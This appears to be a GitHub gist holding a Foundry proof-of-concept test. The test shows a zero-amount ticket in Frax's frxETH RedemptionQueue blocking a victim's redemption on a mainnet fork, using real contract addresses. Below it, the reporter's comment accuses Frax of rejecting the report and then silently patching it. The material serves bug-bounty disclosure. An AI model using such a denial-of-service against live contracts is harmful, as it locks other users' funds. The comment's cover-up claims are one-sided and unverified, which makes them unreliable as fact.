function enterRedemptionQueue(address recipient, uint120 amount) external returns (uint256);
function fullRedeemNft(uint256 nftId, address payable recipient) external returns (uint256, uint120);
function maxQueueLengthSeconds() external view returns (uint256);
function ethShortageOrSurplus() external view returns (uint256);
}
interface IERC20 {
function approve(address, uint256) external returns (bool);
}
contract FraxQueueDoS_Repro is Test {
IRedemptionQueue constant QUEUE = IRedemptionQueue(0xfDC69e6BE352BD5644C438302DE4E311AAD5565b);
IERC20 constant FRXETH = IERC20(0x5E8422345238F34275888049021821E8E08CAa1f);
address attacker = address(0x1337);
address victim = address(0xCAFE);
function setUp() public {
string memory rpc = vm.envString("MAINNET_RPC");
vm.createSelectFork(rpc);
// Zero out ETH surplus so exploit behavior is visible
vm.deal(address(QUEUE), 0);
deal(address(FRXETH), victim, 100 ether);
}
function test_ZeroAmountHeadTicketBlocksVictimRedemption() public {
uint256 delay = QUEUE.maxQueueLengthSeconds();
// attacker creates zero ticket
vm.prank(attacker);
QUEUE.enterRedemptionQueue(attacker, 0);
// victim creates real ticket
vm.startPrank(victim);
FRXETH.approve(address(QUEUE), 100 ether);
uint256 victimId = QUEUE.enterRedemptionQueue(victim, 100 ether);
vm.stopPrank();
// warp forward
vm.warp(block.timestamp + delay + 1);
// victim redemption MUST revert (blocked by zero-ticket head)
vm.prank(victim);
vm.expectRevert();
QUEUE.fullRedeemNft(victimId, payable(victim));
}
}
donnyoregon
commented
6 hours ago
UPDATE (Dec 16, 2025): STEALTH PATCH CONFIRMED
Status: PATCHED (Stolen Contribution)
Original Report Date: Dec 5, 2025 (See Gist Creation Date)
Patch Verified: Dec 16, 2025
THE CONTRADICTION
Frax Finance rejected the attached report (see FraxQueueDoS_Repro.t.sol) claiming the bug was "impossible" and the PoC was invalid.
Their Claim: The RedemptionQueue is immutable, so a zero-amount DoS is impossible.
The Reality: They ignored the vm.warp(60 days) in the PoC which mathematically proved the vulnerability.
The Action: Despite calling it "impossible," they silently patched the Upstream Router to block the specific vector I reported.
THE SMOKING GUN (SELECTOR ANALYSIS)
While the RedemptionQueue contract remained immutable (as they claimed), the Upstream Execution Logic was silently updated to include the error CannotRedeemZero().
This error corresponds to the 4-byte signature 0xb445ff79.
BEFORE FIX (Block 23944517): Selector MISSING. System allowed zero-value deposits (Vulnerable).
AFTER FIX (Latest): Selector PRESENT. System now REVERTS zero-value deposits (Patched).
THE COVER-UP (GHOST IMPLEMENTATION)
Because the patch was applied upstream to hide the fix:
Etherscan is Out of Sync: The verified source code does not match the live execution logic.
GitHub is Out of Sync: The public repo does not show the upstream patch.
Immutability: The target contract hash remains identical, proving they patched the Router to hide the fix.
Conclusion: If the bug was "impossible," why did you break your own verification sync to patch it immediately after receiving this report?
Comment
"